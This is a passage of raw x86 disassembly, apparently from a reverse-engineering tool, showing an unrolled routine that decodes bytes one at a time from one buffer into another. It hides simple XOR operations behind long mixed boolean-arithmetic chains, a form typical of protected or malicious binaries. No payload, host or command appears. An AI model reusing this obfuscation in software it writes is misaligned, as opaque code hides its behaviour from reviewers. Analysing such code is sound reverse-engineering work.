shl cl, 1
add al, 0x5d
add al, 0xe7
sub al, cl
sub al, 0xe7
mov byte [0x4753fe], al
mov al, byte [0x4751ff]
xor al, 0x29
mov byte [0x4753ff], al
mov al, byte [0x475200]
xor al, 8
mov byte [0x475400], al
mov al, byte [str.fY_e_]
xor al, 0x77
mov byte [0x475401], al
mov al, byte [0x475202]
xor al, 0x48
mov byte [0x475402], al
mov al, byte [0x475203]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0xcf
xor cl, 0xff
xor al, 0xff
and al, 0xcf
or cl, al
xor cl, 0xff
mov byte [0x475403], cl
mov al, byte [0x475204]
xor al, 0x74
mov byte [0x475404], al
mov al, byte [0x475205]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, ah
xor ah, 0xff
or cl, cl
xor cl, 0xff
xor ah, 0xff
xor cl, 0xff
and ah, cl
mov dl, ah
xor dl, 0xff
and dl, 0xca
and ah, 0x35
or dl, ah
xor dl, 0x35
and dl, 0x2e
xor al, 0xff
and al, 0xd1
mov dh, dl
xor dh, 0xff
mov bl, al
xor bl, 0xff
mov ah, dh
and ah, 0xa5
and dl, 0x5a
mov cl, bl
and cl, 0xa5
and al, 0x5a
or ah, dl
or cl, al
xor ah, cl
or dh, bl
xor dh, 0xff
and dh, 0xff
or ah, dh
mov al, ah
xor al, 0xff
xor ah, 0xff
and al, ah
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
mov byte [0x475405], al
mov dl, byte [0x475206]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
and al, 0x6c
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0x93
add dl, cl
or al, dl
xor al, 6
mov byte [0x475406], al
mov al, byte [0x475207]
xor al, 0x6f
mov byte [0x475407], al
mov al, byte [0x475208]
xor al, 0xe1
mov byte [0x475408], al
mov cl, byte [0x475209]
mov al, cl
and al, 0x5d
shl al, 1
xor ebx, ebx
sub bl, cl
add bl, 0xa3
xor edx, edx
sub dl, bl
xor ecx, ecx
sub cl, al
add dl, cl
mov byte [0x475409], dl
mov al, byte [0x47520a]
mov dl, al
and dl, 6
xor dl, 0xff
mov cl, al
and cl, 6
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
or dl, cl
shl dl, 1
add al, 6
sub al, dl
mov byte [str.__tQ9F], al
mov al, byte [0x47520b]
xor al, 0x76
mov byte [0x47540b], al
mov al, byte [0x47520c]
mov cl, al
xor cl, 0xff
and cl, 0xfa
and al, 5
or cl, al
xor cl, 0xa5
mov byte [0x47540c], cl
mov al, byte [0x47520d]
xor al, 0xd6
mov byte [0x47540d], al
mov al, byte [0x47520e]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
and cl, ah
or cl, 0
xor cl, 0xff
or cl, 0
xor cl, 0xff
and dl, cl
mov cl, dl
and cl, 0x8a
xor dl, 0x8a
or cl, dl
xor cl, 0xff
xor al, 0xff
and al, 0x8a
or cl, al
xor cl, 0xff
mov byte [0x47540e], cl
mov al, byte [0x47520f]
mov cl, al
or cl, cl
mov dl, cl
and dl, 0xff
shl dl, 1
add cl, 0xff
sub cl, dl
xor cl, 0xff
mov dl, cl
xor dl, 0xda
and dl, cl
xor al, 0xff
and al, 0xda
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
or cl, dl
xor cl, 0xff
mov byte [0x47540f], cl
mov al, byte [0x475210]
xor al, 0
mov byte [0x475410], al
mov al, byte [0x475211]
xor al, 0xb9
mov byte [0x475411], al
mov bl, byte [0x475212]
mov dl, bl
and dl, 0xc9
xor dl, 0xff
mov al, bl
xor al, 0xff
or al, 0x36
and dl, al
xor dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0x37
add bl, 0x75
sub bl, al
sub bl, 0x75
mov byte [0x475412], bl
mov al, byte [0x475213]
mov cl, al
and cl, 0xfe
shl cl, 1
add al, 0xfe
sub al, cl
mov byte [0x475413], al
mov al, byte [0x475214]
mov cl, al
xor cl, 0xff
and cl, 0x6b
and al, 0x94
or cl, al
mov byte [0x475414], cl
mov al, byte [0x475215]
xor al, 0x2e
mov byte [0x475415], al
mov al, byte [0x475216]
xor al, 0xff
and al, 0xff
or al, 0
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
mov byte [0x475416], al
mov al, byte [0x475217]
xor al, 0xfd
mov byte [0x475417], al
mov dl, byte [0x475218]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xd3
or dl, 0xd3
mov cl, dl
xor cl, 0xff
and cl, 0xac
and dl, 0x53
or cl, dl
xor cl, 0x53
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0x3f
and al, 0xc0
or cl, al
xor cl, 0xc0
mov byte [0x475418], cl
mov al, byte [0x475219]
xor al, 0xa8
mov byte [0x475419], al
mov al, byte [0x47521a]
xor al, 0xfb
mov byte [0x47541a], al
mov al, byte [0x47521b]
xor al, 0x60
mov byte [0x47541b], al
mov dl, byte [0x47521c]
mov al, dl
xor al, 0xff
and al, 0xcf
mov cl, dl
and cl, 0x30
or al, cl
xor al, 0x30
xor al, 0xff
xor al, 0xa3
and al, 0xa3
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0x5c
or al, cl
mov byte [0x47541c], al
mov al, byte [0x47521d]
mov cl, al
xor cl, 0x6a
xor cl, 0xff
and cl, 0x6a
shl cl, 1
sub cl, 0x6a
sub al, cl
mov byte [0x47541d], al
mov dl, byte [0x47521e]
mov al, dl
xor al, 0xff
mov ah, dl
or ah, ah
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
or ah, 0
xor ah, 0xff
mov cl, ah
and cl, al
xor cl, 0xff
add al, ah
add al, 1
add al, cl
and al, 0x87
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
or dl, 0x87
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
xor cl, 0xff
mov byte [0x47541e], cl
mov al, byte [0x47521f]
mov dl, al
and dl, dl
xor dl, 0xff
mov cl, dl
xor cl, 0xa6
xor cl, 0xff
or dl, 0xa6
and dl, cl
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
or al, al
xor al, 0xff
or al, 0xa6
xor al, 0xff
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor al, 0xff
or dl, al
mov byte [0x47541f], dl
mov al, byte [0x475220]
xor al, 0xf0
mov byte [0x475420], al
mov al, byte [0x475221]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x97
and al, 0x97
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475421], dl
mov al, byte [0x475222]
xor al, 0x2d
mov byte [0x475422], al
mov al, byte [0x475223]
xor al, 0xca
mov byte [0x475423], al
mov bl, byte [0x475224]
mov dl, bl
and dl, 0xf3
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, bl
and cl, 0xf3
or bl, 0xf3
add cl, bl
xor al, 0xff
add cl, al
add cl, 1
mov byte [0x475424], cl
mov dl, byte [0x475225]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov cl, al
xor cl, 0xb4
xor cl, 0xff
or al, 0xb4
and al, cl
and dl, 0x4b
mov cl, al
or cl, dl
xor cl, 0xff
or al, dl
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x475425], cl
mov dl, byte [0x475226]
mov cl, dl
xor cl, 0xff
mov al, cl
xor al, 0xff
xor cl, 0xff
and al, cl
or al, 0x94
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
or cl, 0x6b
xor cl, 0xff
or al, cl
mov byte [0x475426], al
mov al, byte [0x475227]
mov cl, al
xor cl, 0xff
and cl, 0xae
and al, 0x51
or cl, al
mov byte [0x475427], cl
mov al, byte [0x475228]
xor al, 0x76
mov byte [0x475428], al
mov al, byte [0x475229]
mov dl, al
xor dl, 0xff
and dl, 0x9c
mov cl, al
and cl, 0x63
or dl, cl
xor dl, 0x63
and dl, 0xb0
xor al, 0xff
or al, 0xb0
xor al, 0xff
and al, 0xff
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 0x2d
and dl, 0xd2
mov cl, bl
and cl, 0x2d
and al, 0xd2
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [0x475429], dh
mov bl, byte [0x47522a]
mov dl, bl
and dl, 0xca
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xca
mov cl, bl
xor cl, al
xor al, 0xff
and bl, al
shl bl, 1
sub bl, cl
mov byte [0x47542a], bl
mov cl, byte [0x47522b]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0xe3
xor al, 0xff
or cl, 0x1c
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x47542b], al
mov al, byte [0x47522c]
xor al, 0xa0
mov byte [0x47542c], al
mov al, byte [0x47522d]
mov cl, al
xor cl, 0xff
and cl, 0xea
and al, 0x15
or cl, al
mov byte [0x47542d], cl
mov al, byte [0x47522e]
mov cl, al
and cl, 0x50
shl cl, 1
add al, 0x50
sub al, cl
mov byte [0x47542e], al
mov al, byte [0x47522f]
xor al, 0x37
mov byte [0x47542f], al
mov al, byte [0x475230]
xor al, 0xf6
mov byte [0x475430], al
mov al, byte [0x475231]
xor al, 0xf8
mov byte [0x475431], al
mov al, byte [str.ZhfP]
mov ah, al
and ah, ah
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
xor ah, 0xff
or ah, 0
mov dl, ah
xor dl, 0xff
or dl, 0xb4
xor ah, 0xff
or ah, 0xb4
and dl, ah
xor dl, 0xff
mov cl, al
and cl, 0xb4
xor cl, 0xff
xor al, 0xff
or al, 0x4b
and cl, al
xor cl, 0xff
mov al, dl
and al, cl
xor dl, cl
or al, dl
mov byte [0x475432], al
mov dl, byte [0x475233]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0x86
xor al, 0xff
xor dl, 0xff
and dl, 0x86
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
or cl, ah
and al, dl
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x475433], cl
mov al, byte [0x475234]
xor al, 0x77
mov byte [0x475434], al
mov al, byte [0x475235]
xor al, 0x41
mov byte [0x475435], al
mov al, byte [0x475236]
mov cl, al
xor cl, 0xd5
xor cl, 0xff
and cl, 0xd5
shl cl, 1
sub cl, 0xd5
sub al, cl
mov byte [0x475436], al
mov al, byte [0x475237]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
or cl, ah
and dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 0xc9
mov cl, al
and cl, 0x36
mov ah, al
xor ah, 0xc9
add al, ah
sub al, cl
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor ah, 0xff
and ah, 0xff
or ah, 0
xor ah, 0xff
xor al, 0xff
and ah, al
mov byte [0x475437], ah
mov al, byte [0x475238]
xor al, 0x15
mov byte [0x475438], al
mov ah, byte [0x475239]
mov dh, ah
xor dh, 0xff
and dh, 0x7b
and ah, 0x84
mov al, dh
xor al, 0xff
mov bl, ah
xor bl, 0xff
mov dl, al
and dl, 0xa0
and dh, 0x5f
mov cl, bl
and cl, 0xa0
and ah, 0x5f
or dl, dh
or cl, ah
xor dl, cl
or al, bl
xor al, 0xff
and al, 0xff
or dl, al
xor dl, 0xf3
mov byte [0x475439], dl
mov al, byte [0x47523a]
mov dl, al
and dl, 0xcb
xor dl, 0xff
mov cl, al
xor cl, 0xff
or cl, 0x34
xor dl, 0xff
xor cl, 0xff
or dl, cl
shl dl, 1
add al, 0xcb
sub al, dl
mov byte [0x47543a], al
mov cl, byte [0x47523b]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xb7
xor al, 0xff
xor cl, 0xff
or cl, 0xb7
and al, cl
xor al, 0xff
mov byte [0x47543b], al
mov al, byte [0x47523c]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov dl, cl
and dl, 0x78
xor cl, 0x78
or dl, cl
and al, 0x78
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x47543c], dl
mov al, byte [0x47523d]
xor al, 0x1d
mov byte [0x47543d], al
mov al, byte [0x47523e]
mov dl, al
xor dl, 0xf6
xor dl, 0xff
and dl, 0xf6
shl dl, 1
mov cl, dl
xor cl, 0xff
and cl, 0xf6
and dl, 9
sub dl, cl
sub al, dl
mov byte [0x47543e], al
mov al, byte [0x47523f]
mov cl, al
or cl, cl
mov dh, cl
xor dh, 0xff
and dh, 0x98
and cl, 0x67
or dh, cl
xor dh, 0x67
mov ah, dh
xor ah, 0xff
mov dl, ah
and dl, 0xfb
and dh, 4
or dl, dh
xor dl, 0x24
or ah, 0x20
xor ah, 0xff
and ah, 0xff
or dl, ah
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
mov ah, al
or ah, 0x20
xor ah, 0xff
xor al, 0xff
and al, 0xdf
xor ah, 0xff
xor al, 0xff
and ah, al
xor ah, 0xff
or dl, ah
mov al, dl
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
mov byte [0x47543f], al
mov dl, byte [0x475240]
mov al, dl
xor al, 0xff
or al, al
xor al, 0xff
or al, 0xf3
xor al, 0xff
mov cl, dl
xor cl, 0xf3
xor cl, 0xff
or dl, 0xf3
and dl, cl
or al, dl
xor al, 0xbf
mov byte [0x475440], al
mov al, byte [0x475241]
mov dl, al
and dl, dl
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
or cl, ah
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
mov ah, dl
xor ah, 0x62
and ah, dl
or al, 0x9d
xor al, 0xff
or ah, ah
xor ah, 0xff
or ah, 0
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
xor al, 0xff
and ah, al
mov byte [0x475441], ah
mov al, byte [0x475242]
xor al, 0x25
mov byte [0x475442], al
mov al, byte [0x475243]
mov cl, al
and cl, 0x1f
shl cl, 1
add al, 0x1f
sub al, cl
mov byte [0x475443], al
mov al, byte [0x475244]
mov cl, al
xor cl, 0xff
and cl, 0x16
and al, 0xe9
or cl, al
xor cl, 0x67
mov byte [0x475444], cl
mov al, byte [0x475245]
mov cl, al
xor cl, 0xff
and cl, 0x74
and al, 0x8b
or cl, al
mov byte [0x475445], cl
mov al, byte [0x475246]
mov cl, al
xor cl, 0xff
and cl, 0x67
and al, 0x98
or cl, al
mov byte [0x475446], cl
mov al, byte [0x475247]
xor al, 0xe9
mov byte [str._2_], al
mov al, byte [0x475248]
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
xor al, 0xff
and al, 0xff
add al, 0
add al, 1
add al, 0xff
mov byte [0x475448], al
mov al, byte [0x475249]
mov cl, al
and cl, 0x9e
shl cl, 1
add al, 0x9e
sub al, cl
mov byte [0x475449], al
mov dl, byte [0x47524a]
mov al, dl
xor al, 0xff
or al, 0xd3
add al, 0x2d
mov cl, dl
and cl, 0xd3
xor cl, 0xff
and dl, 0xd3
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
or al, cl
xor al, 0xff
mov byte [0x47544a], al
mov al, byte [0x47524b]
xor al, 0xac
mov byte [0x47544b], al
mov al, byte [0x47524c]
mov cl, al
xor cl, 0xff
and cl, 0x32
and al, 0xcd
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
mov dl, cl
xor dl, al
add cl, dl
sub cl, ah
mov byte [0x47544c], cl
mov dl, byte [0x47524d]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
mov cl, al
xor cl, 0xd0
and cl, al
mov al, cl
xor al, 0xff
and al, 0x30
and cl, 0xcf
or al, cl
xor al, 0xcf
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xd0
xor cl, 0xff
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov al, dl
xor al, 0xff
and al, 0xf7
and dl, 8
or al, dl
xor al, 8
mov byte [0x47544d], al
mov bl, byte [0x47524e]
mov dl, bl
and dl, dl
xor dl, 0xff
and dl, 0xd4
xor dl, 0xff
mov al, bl
and al, 0x2b
xor al, 0xff
and dl, al
xor dl, 0xff
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
and dl, 0xd4
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xd4
sub bl, al
mov byte [0x47544e], bl
mov al, byte [0x47524f]
xor al, 0x65
mov byte [0x47544f], al
mov dl, byte [0x475250]
mov al, dl
xor al, 0xff
and al, 0xdd
mov cl, dl
and cl, 0x22
or al, cl
xor al, 0x22
and al, 0xee
mov cl, dl
xor cl, 0x11
xor cl, 0xff
or dl, 0x11
and dl, cl
or al, dl
mov cl, al
xor cl, 0xff
and cl, 0xef
and al, 0x10
or cl, al
xor cl, 0x26
mov byte [0x475450], cl
mov dl, byte [0x475251]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
mov cl, dl
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
xor al, 0xff
xor cl, 0xff
and al, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or al, 0x2f
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0xf4
and dl, 0xb
or cl, dl
xor cl, 0xb
mov dl, cl
xor dl, 0xd0
and dl, cl
or al, dl
xor al, 0xff
mov byte [0x475451], al
mov dl, byte [0x475252]
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov al, dl
sub al, cl
and al, 0x87
mov cl, dl
xor cl, 0x87
and cl, dl
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
mov byte [0x475452], al
mov al, byte [0x475253]
mov cl, al
xor cl, 0xff
and cl, 0x95
and al, 0x6a
mov dl, cl
and dl, al
xor cl, al
or dl, cl
mov byte [0x475453], dl
mov al, byte [0x475254]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x57
and al, 0x57
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475454], dl
mov al, byte [0x475255]
xor al, 0x4e
mov byte [0x475455], al
mov al, byte [0x475256]
xor al, 0x5c
mov byte [0x475456], al
mov al, byte [0x475257]
mov dl, al
or dl, dl
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, dl
xor cl, 0x14
xor cl, 0xff
or dl, 0x14
and dl, cl
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
or al, 0x14
xor al, 0xff
and al, 0xff
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475457], dl
mov al, byte [0x475258]
xor al, 0x9b
mov byte [0x475458], al
mov bl, byte [0x475259]
mov dl, bl
xor dl, 0x23
and dl, bl
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xdc
add bl, 0x3f
sub bl, al
sub bl, 0x3f
mov byte [0x475459], bl
mov dl, byte [0x47525a]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
xor ah, cl
xor ah, 0xff
or al, cl
and al, ah
and al, al
xor al, 0xff
and al, 0x72
xor al, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor dl, 0xff
mov cl, dl
and cl, 0x8d
xor cl, 0xff
and dl, 0x8d
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov dl, al
and dl, cl
xor al, cl
or dl, al
xor dl, 0xff
mov byte [0x47545a], dl
mov al, byte [0x47525b]
xor al, 0xfc
mov byte [0x47545b], al
mov dl, byte [0x47525c]
mov cl, dl
and cl, 0xff
shl cl, 1
mov al, dl
add al, 0xff
sub al, cl
and al, 0x92
and dl, 0x6d
mov ah, al
or ah, dl
xor ah, 0xff
xor al, 0xff
xor dl, 0xff
and al, dl
xor ah, 0xff
xor al, 0xff
and ah, al
xor ah, 0x25
mov byte [0x47545c], ah
mov al, byte [0x47525d]
xor al, 0xce
mov byte [0x47545d], al
mov bl, byte [0x47525e]
mov dl, bl
xor dl, 0xc5
mov al, dl
and al, 0xff
shl al, 1
add dl, 0xff
sub dl, al
or dl, 0x3a
add dl, 0xc6
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xc5
mov cl, bl
xor cl, al
xor al, 0xff
and bl, al
shl bl, 1
sub bl, cl
mov byte [0x47545e], bl
mov al, byte [0x47525f]
mov cl, al
xor cl, 0xff
and cl, 0xd0
and al, 0x2f
or cl, al
xor cl, 0x9e
mov byte [str.Hhn_], cl
mov ah, byte [0x4744c0]
mov al, ah
xor al, 0xff
mov cl, ah
xor cl, 0xff
and cl, 0xff
or cl, 0
and al, cl
or al, 0x97
xor al, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
and dl, 0x97
mov ah, al
xor ah, 0xff
xor al, 0xff
and ah, al
or ah, 0
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
xor dl, 0xff
and ah, dl
mov byte [0x4746c0], ah
mov bl, byte [0x4744c1]
mov al, bl
xor al, 0x6a
xor al, 0xff
mov dl, bl
or dl, 0x6a
and dl, al
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x6a
sub bl, al
mov byte [0x4746c1], bl
mov al, byte [0x4744c2]
mov cl, al
and cl, 0xce
shl cl, 1
add al, 0xce
sub al, cl
mov byte [0x4746c2], al
mov al, byte [0x4744c3]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x3b
xor cl, 0xff
or al, 0xc4
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x4746c3], cl
mov al, byte [str.6Y_]
mov dl, al
xor dl, 0xff
and dl, 0xd9
mov cl, al
and cl, 0x26
or dl, cl
xor dl, 0xee
xor dl, 0xff
and dl, 0x37
shl dl, 1
sub dl, 0x37
sub al, dl
mov byte [0x4746c4], al
mov al, byte [0x4744c5]
xor al, 0x2a
mov byte [0x4746c5], al
mov al, byte [0x4744c6]
xor al, 0xc2
mov byte [0x4746c6], al
mov al, byte [0x4744c7]
mov cl, al
xor cl, 0xff
and cl, 0xa3
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
xor dl, 0xff
and dl, 0x5c
or cl, dl
mov byte [0x4746c7], cl
mov al, byte [0x4744c8]
xor al, 0x5b
mov byte [0x4746c8], al
mov al, byte [0x4744c9]
xor al, 0x5d
mov byte [0x4746c9], al
mov al, byte [0x4744ca]
mov cl, al
and cl, 0xae
shl cl, 1
add al, 0xae
sub al, cl
mov byte [0x4746ca], al
mov al, byte [0x4744cb]
mov cl, al
and cl, 0xbc
shl cl, 1
add al, 0x93
add al, 0xbc
sub al, 0x93
sub al, cl
mov byte [0x4746cb], al
mov al, byte [0x4744cc]
mov cl, al
xor cl, 0x65
xor cl, 0xff
and cl, 0x65
shl cl, 1
sub cl, 0xa1
sub cl, 0x65
add cl, 0xa1
sub al, cl
mov byte [str.Ma__r], al
mov al, byte [0x4744cd]
mov cl, al
and cl, cl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
and dl, 0xef
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
mov cl, al
and cl, 0xef
xor cl, 0xff
add al, 0xef
add al, 1
add al, cl
and dl, al
xor dl, 0xff
mov byte [0x4746cd], dl
mov dl, byte [0x4744ce]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
mov cl, al
xor cl, 0xff
and cl, 0x3b
and al, 0xc4
or cl, al
xor cl, 0xc4
mov al, cl
xor al, 5
and al, cl
mov ah, dl
and ah, 0xfa
xor dl, 0xfa
or ah, dl
xor ah, 0xff
mov dl, al
xor dl, 0xff
mov cl, ah
xor cl, 0xff
and dl, cl
xor al, 0xff
xor ah, 0xff
and al, ah
xor dl, 0xff
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x4746ce], dl
mov al, byte [0x4744cf]
xor al, 0xb8
mov byte [0x4746cf], al
mov al, byte [0x4744d0]
xor al, 0x38
mov byte [0x4746d0], al
mov al, byte [0x4744d1]
mov dl, al
xor dl, 0xff
and dl, 0x69
mov cl, al
and cl, 0x96
or dl, cl
xor dl, 0xfa
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor dl, 0xff
xor dl, 0x93
and dl, 0x93
shl dl, 1
sub dl, 0x93
sub al, 0xeb
sub al, dl
add al, 0xeb
mov byte [0x4746d1], al
mov al, byte [0x4744d2]
mov cl, al
and cl, 0x87
shl cl, 1
add al, 0x87
sub al, cl
mov byte [0x4746d2], al
mov bl, byte [0x4744d3]
mov dl, bl
xor dl, 0x4d
mov al, dl
and al, 0xff
shl al, 1
add dl, 0xff
sub dl, al
and dl, 0x4d
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x4d
xor al, 0xff
add bl, al
add bl, 1
mov byte [0x4746d3], bl
mov cl, byte [0x4744d4]
mov al, cl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x4a
shl al, 1
mov dl, cl
and dl, 0x4a
or cl, 0x4a
add dl, cl
sub dl, al
mov byte [0x4746d4], dl
mov cl, byte [0x4744d5]
mov al, cl
xor al, 0xff
and al, 0xe4
and cl, 0x1b
mov dl, al
or dl, cl
xor dl, 0xff
xor al, 0xff
xor cl, 0xff
and al, cl
or dl, al
xor dl, 0xff
xor dl, 0xc3
mov byte [0x4746d5], dl
mov bl, byte [0x4744d6]
mov al, bl
xor al, 0x84
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
xor dl, 0xff
and dl, 0x84
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0xff
and cl, 0x84
and al, 0x7b
sub al, cl
add bl, 0xc3
sub bl, al
sub bl, 0xc3
mov byte [0x4746d6], bl
mov al, byte [0x4744d7]
xor al, 0x66
mov byte [0x4746d7], al
mov al, byte [0x4744d8]
mov cl, al
